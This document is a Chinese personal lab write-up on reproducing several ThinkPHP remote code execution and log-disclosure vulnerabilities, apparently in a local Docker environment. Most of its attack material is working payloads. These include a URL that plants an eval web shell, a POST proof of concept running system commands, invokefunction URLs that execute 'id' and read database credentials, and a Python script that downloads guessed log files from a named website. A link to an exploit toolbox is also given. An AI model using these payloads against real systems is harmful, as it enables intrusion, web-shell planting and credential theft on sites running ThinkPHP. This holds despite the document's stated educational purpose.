提示:所分享内容仅用于每一个爱好者之间的技术讨论及教育目的,所有渗透及工具的使用都需获取授权,禁止用于违法途径,否则需自行承担,本作者不承担相应的后果。
漏洞成因:ThinkPHP 2.x版本中,使用preg_replace的 /e 模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
参考链接:https://www.freebuf.com/sectool/223149.html
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
提示:这里的/e在php中表示表示可执行模式
1.2、利用步骤
1、启动docker环境,启动thinkphp环境,没有配置环境的可以看这个链接https://blog.csdn.net/luluoluoa/article/details/115416478
2、访问ip+端口
提示:这里在PHP中${}里面可以执行函数
ThinkPHP的url规则:
thinkphp 所有的主入口文件默认访问index控制器(模块)
thinkphp 所有的控制器默认执行index动作(方法)
存在漏洞的static public function
dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。
3、既然可以执行函数,我们可以构建payload,
http://192.168.190.128:8080/index.php/?s=/Index/index/name/${@phpinfo()}
注意上面的第一个index是模块,第二个index是方法,name是操作名,后面的是操作
http://192.168.190.128:8080/index.php/?s=/Index/index/name/${print(@eval($_POST[hacker]))}
漏洞原因
ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,而且debug很多网站都没有关
ThinkPHP默认安装后,也会在Runtime目录下生成日志
日志很容易被猜解到,而且日志里面有执行SQL语句的记录
漏洞利用过程
日志存储结构:
项目名\Runtime\Logs\Home\年份_月份_日期.log
THINKPHP3.2 日志结构:Application\Runtime\Logs\Home\16_09_09.log
THINKPHP3.1 日志结构:Runtime\Logs\Home\16_09_09.log
有的时候我们可以在用户登录日志中找到用户名和密码
放个参考链接
https://blog.csdn.net/weixin_40412037/article/details/113885372
github工具
https://github.com/JaneMandy/ThinkPHP_RCE
这是一款pthinkphp综合漏洞利用工具箱。
也可以用python代码
import requests
import sys
def logfile(year):
logfilename = []
for m in range(1, 13):
for d in range(1, 32):
m = str(m).rjust(2, '0')
d = str(d).rjust(2, '0')
logfilename.append("%s_%s_%s.log" % (year, m, d))
return logfilename
def main():
year = sys.argv[1]
print(year)
logfilename = logfile(year)
for logname in logfilename:
url = "http://www.webhack123.com/App/Runtime/Logs/" + logname //这里需要改成你的日志文件
r = requests.get(url)
if r.status_code == 200:
print(url)
with open(logname, "w", encoding="utf-8") as f:
f.write(r.text)
if __name__ == '__main__':
main()
漏洞成因
其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
参考链接 https://xz.aliyun.com/t/3570
漏洞利用过程
md,复现不出来,用工具扫出来了,但是贴一下poc
POST /index.php?s=captcha HTTP/1.1
Host: you_ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
漏洞原因
版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
漏洞复现
https://www.cnblogs.com/f-carey/p/17343752.html#tid-dXCjFT
https://xz.aliyun.com/t/3570
执行phpinfo:http://192.168.190.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
执行系统命令:http://192.168.190.128:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
查看数据库用户:http://192.168.190.128:8080/?s=.|think\config/get&name=database.username
查看数据库密码:http://192.168.190.128:8080/?s=.|think\config/get&name=database.password
个人笔记,大佬勿喷,小六花祝你每天开心